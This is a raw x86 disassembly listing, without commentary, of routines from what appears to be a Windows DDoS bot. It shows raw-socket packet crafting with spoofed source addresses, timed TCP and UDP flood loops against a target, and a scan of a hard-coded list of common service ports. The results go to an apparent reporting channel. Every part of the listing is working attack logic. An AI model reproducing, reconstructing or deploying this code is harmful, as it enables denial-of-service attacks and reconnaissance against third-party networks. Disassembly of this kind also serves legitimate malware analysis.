loc_416EBC:				; CODE XREF: sub_416B1E+7Dj
					; sub_416B1E+37Cj
		lea	eax, [ebp+74h+Dest]
		push	eax
		call	sub_417D70
		push	[ebp+74h+var_BC]
		call	sub_40B149
		pop	ecx
		pop	ecx
		push	ebx
		call	ds:dword_42B068	; ExitThread


loc_416ED9:				; CODE XREF: sub_416B1E+316j
		push	[ebp+74h+var_4]
		call	dword_444218	; closesocket
		call	dword_4441C4	; WSAGetLastError
		push	eax
		push	[ebp+74h+arg_0]
		lea	eax, [ebp+74h+var_23C]
		push	eax
		push	offset asc_435940 ; "-"
		lea	eax, [ebp+74h+Dest]
		push	200h		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 18h
		jmp	loc_416B98
sub_416B1E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416F11	proc near		; CODE XREF: sub_416F65+19Ap
					; sub_416F65+207p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+arg_0]
		push	esi
		xor	esi, esi
		cmp	ecx, 1
		mov	[ebp+arg_4], esi
		jle	short loc_416F3F
		lea	eax, [ecx-2]
		shr	eax, 1
		inc	eax
		push	edi
		lea	edi, [eax+eax]
		sub	ecx, edi


loc_416F31:				; CODE XREF: sub_416F11+28j
		movzx	edi, word ptr [edx]
		add	esi, edi
		inc	edx
		inc	edx
		dec	eax
		jnz	short loc_416F31
		pop	edi
		cmp	ecx, 1


loc_416F3F:				; CODE XREF: sub_416F11+12j
		jnz	short loc_416F4C
		mov	al, [edx]
		mov	byte ptr [ebp+arg_4], al
		movzx	eax, word ptr [ebp+arg_4]
		add	esi, eax


loc_416F4C:				; CODE XREF: sub_416F11:loc_416F3Fj
		mov	ecx, esi
		and	esi, 0FFFFh
		sar	ecx, 10h
		add	ecx, esi
		mov	eax, ecx
		sar	eax, 10h
		add	eax, ecx
		not	eax
		pop	esi
		pop	ebp
		retn
sub_416F11	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416F65	proc near		; CODE XREF: sub_4171BC+54p

var_D0		= dword	ptr -0D0h
Dest		= byte ptr -0C8h
var_A8		= dword	ptr -0A8h
var_A4		= dword	ptr -0A4h
var_A0		= byte ptr -0A0h
var_9F		= byte ptr -9Fh
var_9E		= word ptr -9Eh
Src		= byte ptr -9Ch
var_88		= byte ptr -88h
var_74		= word ptr -74h
var_72		= word ptr -72h
var_70		= dword	ptr -70h
var_64		= byte ptr -64h
var_60		= byte ptr -60h
var_5F		= byte ptr -5Fh
var_5E		= byte ptr -5Eh
var_54		= dword	ptr -54h
var_50		= byte ptr -50h
var_4E		= word ptr -4Eh
var_4C		= word ptr -4Ch
var_4A		= word ptr -4Ah
var_48		= byte ptr -48h
var_47		= byte ptr -47h
var_46		= word ptr -46h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= word ptr -3Ch
var_3A		= word ptr -3Ah
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= word ptr -2Ch
var_2A		= word ptr -2Ah
var_28		= word ptr -28h
Dst		= byte ptr -24h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_194		= dword	ptr  19Ch
arg_198		= dword	ptr  1A0h

		push	ebp
		mov	ebp, esp
		sub	esp, 0C8h
		and	[ebp+var_4], 0
		push	esi
		mov	esi, ds:dword_42B038
		call	esi	; GetTickCount
		push	0FFh
		push	3
		push	2
		mov	[ebp+var_C], eax
		call	dword_444100	; socket
		mov	[ebp+var_8], eax
		call	esi	; GetTickCount
		push	eax		; Size
		call	sub_41ECD4
		mov	[esp+0D0h+var_D0], 578h
		push	9
		push	1
		call	sub_41B325
		pop	ecx
		pop	ecx
		push	eax		; Val
		lea	eax, [ebp+Dst]
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		call	esi	; GetTickCount
		sub	eax, [ebp+var_C]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp+arg_198]
		ja	loc_4171AD
		push	ebx
		push	edi
		mov	edi, 5A0h


loc_416FD8:				; CODE XREF: sub_416F65+240j
		cmp	dword_4D5898, 0
		jnz	short loc_417039
		push	10h
		pop	eax
		push	eax		; Size
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_64]
		push	0		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_64]
		push	eax
		push	[ebp+arg_0]
		call	dword_444068	; getsockname
		push	0FFh
		push	1
		call	sub_41B325
		push	eax
		movzx	eax, [ebp+var_5E]
		push	eax
		movzx	eax, [ebp+var_5F]
		push	eax
		movzx	eax, [ebp+var_60]
		push	eax
		lea	eax, [ebp+Dest]
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	eax		; Dest
		call	_sprintf
		add	esp, 20h
		jmp	short loc_41704C
; ---------------------------------------------------------------------------


loc_417039:				; CODE XREF: sub_416F65+7Aj
		lea	eax, [ebp+Dest]
		push	offset byte_4D5698 ; Source
		push	eax		; Dest
		call	_strcpy
		pop	ecx
		pop	ecx


loc_41704C:				; CODE XREF: sub_416F65+D2j
		lea	eax, [ebp+Dest]
		push	eax
		call	dword_44417C	; inet_addr
		mov	ebx, eax
		mov	eax, [ebp+var_54]
		and	eax, 0FFFFFF45h
		or	eax, 45h
		push	edi
		mov	[ebp+var_54], eax
		mov	[ebp+var_50], 10h
		call	dword_444260	; htons
		mov	[ebp+var_4E], ax
		call	_rand
		and	[ebp+var_46], 0
		mov	[ebp+var_4C], ax
		mov	eax, [ebp+arg_194]
		mov	[ebp+var_4A], 40h
		mov	[ebp+var_48], 40h
		mov	[ebp+var_47], 6
		mov	[ebp+var_44], ebx
		mov	[ebp+var_40], eax
		call	_rand
		mov	[ebp+var_3C], ax
		call	_rand
		mov	[ebp+var_3A], ax
		call	_rand
		mov	[ebp+var_38], eax
		call	_rand
		mov	ebx, [ebp+var_40]
		and	[ebp+var_2A], 0
		and	[ebp+var_28], 0
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_30]
		and	ax, 0FF50h
		or	ax, 50h
		mov	word ptr [ebp+var_30], ax
		mov	ax, [ebp+var_3A]
		mov	[ebp+var_72], ax
		lea	eax, [ebp+var_54]
		push	14h
		push	eax
		mov	byte ptr [ebp+var_30+2], 18h
		mov	[ebp+var_2C], 787Dh
		mov	[ebp+var_74], 2
		mov	[ebp+var_70], ebx
		call	sub_416F11
		pop	ecx
		pop	ecx
		mov	[ebp+var_46], ax
		mov	eax, [ebp+var_44]
		push	58Ch
		mov	[ebp+var_A8], eax
		mov	[ebp+var_A4], ebx
		mov	[ebp+var_A0], 0
		mov	[ebp+var_9F], 6
		call	ds:dword_42B200	; htons
		mov	[ebp+var_9E], ax
		push	14h		; Size
		lea	eax, [ebp+Src]
		push	eax		; Src
		lea	eax, [ebp+var_3C]
		push	eax		; Dst
		call	_memcpy
		push	578h		; Size
		lea	eax, [ebp+var_88]
		push	eax		; Src
		lea	eax, [ebp+Dst]
		push	eax		; Dst
		call	_memcpy
		lea	eax, [ebp+var_A8]
		push	598h
		push	eax
		call	sub_416F11
		add	esp, 20h
		mov	[ebp+var_2A], ax
		push	10h
		lea	eax, [ebp+var_74]
		push	eax
		push	0
		push	edi
		lea	eax, [ebp+var_54]
		push	eax
		push	[ebp+var_8]
		call	dword_4440CC	; sendto
		inc	[ebp+var_4]
		call	esi	; GetTickCount
		sub	eax, [ebp+var_C]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp+arg_198]
		jbe	loc_416FD8
		pop	edi
		pop	ebx


loc_4171AD:				; CODE XREF: sub_416F65+66j
		push	[ebp+var_8]
		call	dword_444218	; closesocket
		mov	eax, [ebp+var_4]
		pop	esi
		leave
		retn
sub_416F65	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4171BC	proc near		; DATA XREF: sub_40274D+69BBo

Dest		= byte ptr -394h
var_194		= dword	ptr -194h
var_190		= byte ptr -190h
Str		= byte ptr -110h
var_90		= byte ptr -90h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 394h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	65h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_194]
		rep movsd
		mov	dword ptr [eax+190h], 1
		lea	eax, [ebp+Str]
		push	eax		; Str
		call	j__atol
		pop	ecx
		push	eax
		lea	eax, [ebp+var_190]
		push	eax
		call	dword_44417C	; inet_addr
		push	eax
		sub	esp, 194h
		push	65h
		pop	ecx
		lea	esi, [ebp+var_194]
		mov	edi, esp
		rep movsd
		call	sub_416F65
		push	eax
		lea	eax, [ebp+Dest]
		push	offset asc_435A6C ; "-"
		push	eax		; Dest
		call	_sprintf
		xor	esi, esi
		add	esp, 1A8h
		cmp	[ebp+var_8], esi
		jnz	short loc_417254
		push	esi		; int
		push	[ebp+var_C]	; int
		lea	eax, [ebp+Dest]
		push	eax		; int
		lea	eax, [ebp+var_90]
		push	eax		; Str
		push	[ebp+var_194]	; int
		call	sub_40123B
		add	esp, 14h


loc_417254:				; CODE XREF: sub_4171BC+76j
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_417D70
		push	[ebp+var_10]
		call	sub_40B149
		pop	ecx
		pop	ecx
		push	esi
		call	ds:dword_42B068	; ExitThread
		int	3		; Trap to Debugger
sub_4171BC	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_417272(int,char,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,char,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,char Str,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,char,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int)

sub_417272	proc near		; CODE XREF: sub_4175F3+3Bp

Dest		= byte ptr -254h
var_54		= byte ptr -54h
Dst		= byte ptr -34h
var_30		= byte ptr -30h
var_2F		= byte ptr -2Fh
var_2E		= byte ptr -2Eh
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_84		= byte ptr  8Ch
Str		= byte ptr  10Ch
arg_184		= byte ptr  18Ch
arg_208		= dword	ptr  210h
arg_20C		= dword	ptr  214h

		push	ebp
		mov	ebp, esp
		sub	esp, 254h
		push	ebx
		push	edi
		mov	ebx, 0FFh
		push	ebx
		push	3
		push	2
		call	dword_444100	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_C], eax
		jnz	short loc_4172AC
		lea	eax, [ebp+Dest]
		push	offset asc_435C58 ; "-"
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx
		xor	edi, edi
		jmp	short loc_417302
; ---------------------------------------------------------------------------


loc_4172AC:				; CODE XREF: sub_417272+21j
		push	4
		lea	ecx, [ebp+var_14]
		push	ecx
		push	2
		xor	edi, edi
		push	edi
		push	eax
		mov	[ebp+var_14], 1
		call	dword_444120	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4172D8
		call	dword_4441C4	; WSAGetLastError
		push	eax
		push	offset unk_435C08
		jmp	short loc_4172F3
; ---------------------------------------------------------------------------


loc_4172D8:				; CODE XREF: sub_417272+56j
		lea	eax, [ebp+arg_4]
		push	eax
		call	dword_44417C	; inet_addr
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_417333
		call	dword_4441C4	; WSAGetLastError
		push	eax
		push	offset asc_435BC0 ; "-"


loc_4172F3:				; CODE XREF: sub_417272+64j
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch


loc_417302:				; CODE XREF: sub_417272+38j
		cmp	[ebp+arg_20C], edi
		jnz	loc_4175C8
		push	edi		; int
		push	[ebp+arg_208]	; int
		lea	eax, [ebp+Dest]
		push	eax		; int
		lea	eax, [ebp+arg_184]
		push	eax		; Str
		push	[ebp+arg_0]	; int
		call	sub_40123B
		add	esp, 14h
		jmp	loc_4175C8
; ---------------------------------------------------------------------------


loc_417333:				; CODE XREF: sub_417272+73j
		push	esi
		push	edi
		mov	[ebp+var_24], 2
		call	dword_444260	; htons
		mov	[ebp+var_22], ax
		lea	eax, [ebp+arg_4]
		push	eax
		call	ds:dword_42B218	; inet_addr
		mov	esi, ds:dword_42B038
		mov	[ebp+var_20], eax
		call	esi	; GetTickCount
		mov	[ebp+var_8], eax
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+Dest]
		push	offset asc_435B94 ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		cmp	[ebp+arg_20C], edi
		jnz	short loc_41739D
		push	edi		; int
		push	[ebp+arg_208]	; int
		lea	eax, [ebp+Dest]
		push	eax		; int
		lea	eax, [ebp+arg_184]
		push	eax		; Str
		push	[ebp+arg_0]	; int
		call	sub_40123B
		add	esp, 14h


loc_41739D:				; CODE XREF: sub_417272+109j
		mov	[ebp+var_4], edi
		call	esi	; GetTickCount
		sub	eax, [ebp+var_8]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	esi, eax
		lea	eax, [ebp+Str]
		push	eax		; Str
		call	j__atol
		cmp	esi, eax
		pop	ecx
		ja	loc_417556
		mov	esi, 41Ch
		jmp	short loc_4173D1
; ---------------------------------------------------------------------------


loc_4173CC:				; CODE XREF: sub_417272+2DEj
		mov	ebx, 0FFh


loc_4173D1:				; CODE XREF: sub_417272+158j
		cmp	dword_4D5898, edi
		jnz	short loc_417429
		push	10h
		pop	eax
		push	eax		; Size
		mov	[ebp+var_10], eax
		lea	eax, [ebp+Dst]
		push	edi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+Dst]
		push	eax
		push	[ebp+arg_0]
		call	dword_444068	; getsockname
		push	ebx
		push	1
		call	sub_41B325
		push	eax
		movzx	eax, [ebp+var_2E]
		push	eax
		movzx	eax, [ebp+var_2F]
		push	eax
		movzx	eax, [ebp+var_30]
		push	eax
		lea	eax, [ebp+var_54]
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	eax		; Dest
		call	_sprintf
		add	esp, 20h
		jmp	short loc_417439
; ---------------------------------------------------------------------------


loc_417429:				; CODE XREF: sub_417272+165j
		lea	eax, [ebp+var_54]
		push	offset byte_4D5698 ; Source
		push	eax		; Dest
		call	_strcpy
		pop	ecx
		pop	ecx


loc_417439:				; CODE XREF: sub_417272+1B5j
		push	esi
		mov	byte_4D58A0, 45h
		call	dword_444260	; htons
		mov	word_4D58A2, ax
		lea	eax, [ebp+var_54]
		push	eax
		mov	word_4D58A4, 1
		mov	word_4D58A6, di
		mov	byte_4D58A8, 80h
		mov	byte_4D58A9, 11h
		mov	word_4D58AA, di
		call	dword_44417C	; inet_addr
		mov	dword_4D58AC, eax
		mov	eax, [ebp+var_20]
		mov	dword_4D58B0, eax
		lea	eax, [ebp+arg_84]
		push	eax		; Str
		mov	word_4D58BA, di
		call	j__atol
		test	eax, eax
		pop	ecx
		jnz	short loc_4174B1
		call	_rand
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		jmp	short loc_4174BF
; ---------------------------------------------------------------------------


loc_4174B1:				; CODE XREF: sub_417272+22Dj
		lea	eax, [ebp+arg_84]
		push	eax		; Str
		call	j__atol
		pop	ecx
		push	eax


loc_4174BF:				; CODE XREF: sub_417272+23Dj
		call	dword_444260	; htons
		mov	word_4D58B6, ax
		call	_rand
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	408h
		mov	word_4D58B4, dx
		call	dword_444260	; htons
		push	400h		; Size
		mov	word_4D58B8, ax
		call	_rand
		cdq
		idiv	ebx
		push	edx		; Val
		push	offset dword_4D58BC ; Dst
		call	_memset
		add	esp, 0Ch
		push	10h
		lea	eax, [ebp+var_24]
		push	eax
		push	edi
		push	esi
		push	offset byte_4D58A0
		push	[ebp+var_C]
		call	dword_4440CC	; sendto
		cmp	eax, 0FFFFFFFFh
		jz	loc_4175CE
		inc	[ebp+var_4]
		call	ds:dword_42B038	; GetTickCount
		sub	eax, [ebp+var_8]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	ebx, eax
		lea	eax, [ebp+Str]
		push	eax		; Str
		call	j__atol
		cmp	ebx, eax
		pop	ecx
		jbe	loc_4173CC


loc_417556:				; CODE XREF: sub_417272+14Dj
		push	[ebp+var_C]
		call	dword_444218	; closesocket
		mov	esi, [ebp+var_4]
		lea	eax, [ebp+Str]
		imul	esi, 41Ch
		push	eax		; Str
		call	j__atol
		mov	ecx, eax
		mov	eax, esi
		shr	eax, 0Ah
		xor	edx, edx
		div	ecx
		shr	esi, 14h
		push	eax
		push	esi
		push	[ebp+var_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+Dest]
		push	offset asc_435B30 ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 1Ch


loc_41759F:				; CODE XREF: sub_417272+37Fj
		cmp	[ebp+arg_20C], edi
		jnz	short loc_4175C7
		push	edi		; int
		push	[ebp+arg_208]	; int
		lea	eax, [ebp+Dest]
		push	eax		; int
		lea	eax, [ebp+arg_184]
		push	eax		; Str
		push	[ebp+arg_0]	; int
		call	sub_40123B
		add	esp, 14h


loc_4175C7:				; CODE XREF: sub_417272+333j
		pop	esi


loc_4175C8:				; CODE XREF: sub_417272+96j
					; sub_417272+BCj
		pop	edi
		xor	eax, eax
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4175CE:				; CODE XREF: sub_417272+2B2j
		push	[ebp+var_4]
		push	esi
		call	dword_4441C4	; WSAGetLastError
		push	eax
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+Dest]
		push	offset asc_435AA0 ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 18h
		jmp	short loc_41759F
sub_417272	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4175F3	proc near		; DATA XREF: sub_40274D+4A49o

Dest		= byte ptr -414h
var_214		= byte ptr -214h
var_10		= dword	ptr -10h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	edx, [ebp+arg_0]
		push	esi
		push	edi
		mov	eax, 85h
		mov	ecx, eax
		mov	esi, edx
		lea	edi, [ebp+var_214]
		rep movsd
		sub	esp, 214h
		mov	ecx, eax
		lea	esi, [ebp+var_214]
		mov	edi, esp
		mov	dword ptr [edx+210h], 1
		rep movsd
		call	sub_417272
		push	eax
		lea	eax, [ebp+Dest]
		push	offset asc_435C84 ; "-"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dest]
		add	esp, 220h
		push	eax
		call	sub_417D70
		push	[ebp+var_10]
		call	sub_40B149
		pop	ecx
		pop	ecx
		push	0
		call	ds:dword_42B068	; ExitThread
		int	3		; Trap to Debugger
sub_4175F3	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41766A	proc near		; CODE XREF: sub_41776E+289p

arg_0		= dword	ptr  4

		push	0FFFEh
		push	1
		call	sub_41B325
		pop	ecx
		pop	ecx
		mov	ecx, [esp+arg_0]
		shl	eax, 10h
		and	ecx, 0FFFFh
		or	eax, ecx
		retn
sub_41766A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417688	proc near		; CODE XREF: sub_41776E+178p

var_214		= dword	ptr -214h
var_210		= dword	ptr -210h
var_110		= dword	ptr -110h
var_10C		= dword	ptr -10Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 214h
		and	[ebp+var_4], 0
		cmp	[ebp+arg_C], 0
		jnz	short loc_4176AC
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_42B1F4	; connect
		leave
		retn
; ---------------------------------------------------------------------------


loc_4176AC:				; CODE XREF: sub_417688+11j
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		lea	eax, [ebp+var_C]
		push	eax
		xor	edi, edi
		push	8004667Eh
		inc	edi
		push	esi
		mov	[ebp+var_C], edi
		call	ds:dword_42B1E4	; ioctlsocket
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	dword_4440AC	; connect
		push	[ebp+arg_C]
		lea	eax, [ebp+var_214]
		push	0
		push	eax
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [esi+1]
		push	eax
		mov	[ebp+var_10C], esi
		mov	[ebp+var_110], edi
		mov	[ebp+var_210], esi
		mov	[ebp+var_214], edi
		call	dword_4441B0	; select
		test	eax, eax
		jnz	short loc_417712
		or	eax, 0FFFFFFFFh
		jmp	short loc_41776A
; ---------------------------------------------------------------------------


loc_417712:				; CODE XREF: sub_417688+83j
		or	edi, 0FFFFFFFFh
		cmp	eax, edi
		jz	short loc_41775F
		lea	eax, [ebp+var_110]
		push	eax
		push	esi
		call	sub_4298D6	; __WSAFDIsSet
		test	eax, eax
		jnz	short loc_41773B
		lea	eax, [ebp+var_214]
		push	eax
		push	esi
		call	sub_4298D6	; __WSAFDIsSet
		test	eax, eax
		jz	short loc_41775F


loc_41773B:				; CODE XREF: sub_417688+A0j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	1007h
		push	0FFFFh
		push	esi
		mov	[ebp+var_8], 4
		call	ds:dword_42B1D4	; getsockopt
		cmp	eax, edi
		jnz	short loc_417763


loc_41775F:				; CODE XREF: sub_417688+8Fj
					; sub_417688+B1j
		mov	eax, edi
		jmp	short loc_41776A
; ---------------------------------------------------------------------------


loc_417763:				; CODE XREF: sub_417688+D5j
		mov	eax, [ebp+var_4]
		neg	eax
		sbb	eax, eax


loc_41776A:				; CODE XREF: sub_417688+88j
					; sub_417688+D9j
		pop	edi
		pop	esi
		leave
		retn
sub_417688	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=6Ch


sub_41776E	proc near		; CODE XREF: sub_417BC8+51p

var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_104		= dword	ptr -104h
var_100		= byte ptr -100h
var_9C		= word ptr -9Ch
var_9A		= word ptr -9Ah
var_98		= dword	ptr -98h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		lea	ebp, [esp-6Ch]
		sub	esp, 10Ch
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		inc	esi
		push	esi
		xor	ebx, ebx
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		mov	[ebp+6Ch+var_14], esi
		call	ds:dword_42B1D0	; WSASocketA
		push	4
		lea	ecx, [ebp+6Ch+var_14]
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	dword_4D5D20, eax
		call	dword_444120	; setsockopt
		call	ds:dword_42B038	; GetTickCount
		push	eax
		call	sub_41ECD4
		pop	ecx
		push	19h
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+6Ch+var_100]
		mov	[ebp+6Ch+var_7C], ecx
		mov	[ebp+6Ch+var_10C], ebx
		mov	[ebp+6Ch+var_108], ebx
		mov	[ebp+6Ch+var_104], ebx
		mov	[ebp+6Ch+var_8C], 401h
		mov	[ebp+6Ch+var_88], 15h
		mov	[ebp+6Ch+var_84], 16h
		mov	[ebp+6Ch+var_80], 17h
		mov	[ebp+6Ch+var_78], 35h
		mov	[ebp+6Ch+var_74], 50h
		mov	[ebp+6Ch+var_70], 51h
		mov	[ebp+6Ch+var_6C], 58h
		mov	[ebp+6Ch+var_68], 6Eh
		mov	[ebp+6Ch+var_64], 71h
		mov	[ebp+6Ch+var_60], 77h
		mov	[ebp+6Ch+var_5C], 87h
		mov	[ebp+6Ch+var_58], 89h
		mov	[ebp+6Ch+var_54], 8Bh
		mov	[ebp+6Ch+var_50], 8Fh
		mov	[ebp+6Ch+var_4C], 1BBh
		mov	[ebp+6Ch+var_48], 1BDh
		mov	[ebp+6Ch+var_44], 400h
		mov	[ebp+6Ch+var_40], 599h
		mov	[ebp+6Ch+var_3C], 5DCh
		mov	[ebp+6Ch+var_38], 6B8h
		mov	[ebp+6Ch+var_34], 0CEAh
		mov	[ebp+6Ch+var_30], 0D3Dh
		mov	[ebp+6Ch+var_2C], 1388h
		mov	[ebp+6Ch+var_28], 1A0Bh
		mov	[ebp+6Ch+var_24], 1F40h
		mov	[ebp+6Ch+var_20], 1F90h
		rep stosd
		mov	[ebp+6Ch+var_C], ebx
		mov	[ebp+6Ch+var_1C], 3
		mov	[ebp+6Ch+var_18], 0BB8h
		mov	[ebp+6Ch+var_4], ebx


loc_4178AB:				; CODE XREF: sub_41776E+1A5j
		mov	eax, [ebp+6Ch+arg_0]
		mov	edi, [ebp+6Ch+var_4]
		mov	[ebp+6Ch+var_98], eax
		xor	eax, eax
		lea	edi, [ebp+edi+6Ch+var_8C]
		mov	ax, [edi]
		mov	[ebp+6Ch+var_9C], 2
		push	eax
		call	dword_444260	; htons
		push	ebx
		push	esi
		push	2
		mov	[ebp+6Ch+var_9A], ax
		call	dword_444100	; socket
		lea	ecx, [ebp+6Ch+var_1C]
		push	ecx
		push	10h
		lea	ecx, [ebp+6Ch+var_9C]
		push	ecx
		push	eax
		mov	[ebp+6Ch+var_8], eax
		call	sub_417688
		add	esp, 10h
		push	[ebp+6Ch+var_8]
		mov	[ebp+6Ch+var_10], eax
		call	dword_444218	; closesocket
		cmp	[ebp+6Ch+var_10], ebx
		jnz	short loc_41790B
		mov	eax, [edi]
		mov	ecx, [ebp+6Ch+var_4]
		mov	[ebp+ecx+6Ch+var_10C], eax


loc_41790B:				; CODE XREF: sub_41776E+18Fj
		add	[ebp+6Ch+var_4], 4
		cmp	[ebp+6Ch+var_4], 70h
		jl	short loc_4178AB
		push	offset asc_42FE58 ; " "
		mov	esi, offset byte_4D5D28
		push	esi		; Dest
		call	_sprintf
		mov	edi, ds:dword_42B038
		pop	ecx
		pop	ecx
		call	edi	; GetTickCount
		mov	[ebp+6Ch+var_8], eax
		mov	[ebp+6Ch+var_4], ebx


loc_417935:				; CODE XREF: sub_41776E+21Ej
		call	edi	; GetTickCount
		sub	eax, [ebp+6Ch+var_8]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp+6Ch+arg_4]
		ja	short loc_41798E
		mov	eax, [ebp+6Ch+var_4]
		mov	eax, [ebp+eax*4+6Ch+var_10C]
		cmp	eax, ebx
		jz	short loc_41796B
		push	eax
		push	esi
		push	offset aSD	; "%s%d	"
		push	esi		; Dest
		mov	[ebp+6Ch+var_C], eax
		call	_sprintf
		add	esp, 10h
		jmp	short loc_417985
; ---------------------------------------------------------------------------


loc_41796B:				; CODE XREF: sub_41776E+1E6j
		push	0FFFFh
		push	ebx
		call	sub_41B325
		pop	ecx
		pop	ecx
		push	eax
		call	dword_444260	; htons
		movzx	eax, ax
		mov	[ebp+6Ch+var_C], eax


loc_417985:				; CODE XREF: sub_41776E+1FBj
		inc	[ebp+6Ch+var_4]
		cmp	[ebp+6Ch+var_4], 1Ch
		jl	short loc_417935


loc_41798E:				; CODE XREF: sub_41776E+1D8j
					; sub_41776E+448j
		push	28h		; Size
		push	ebx		; Val
		push	offset byte_4D5CE0 ; Dst
		call	_memset
		mov	esi, 0FFFFh
		push	esi
		push	400h
		mov	byte_4D5CE0, 45h
		mov	byte_4D5CE9, 6
		mov	byte_4D5CE1, 8
		call	sub_41B325
		add	esp, 14h
		push	eax
		call	dword_444260	; htons
		push	28h
		mov	word_4D5CE4, ax
		call	dword_444260	; htons
		cmp	dword_4D5898, ebx
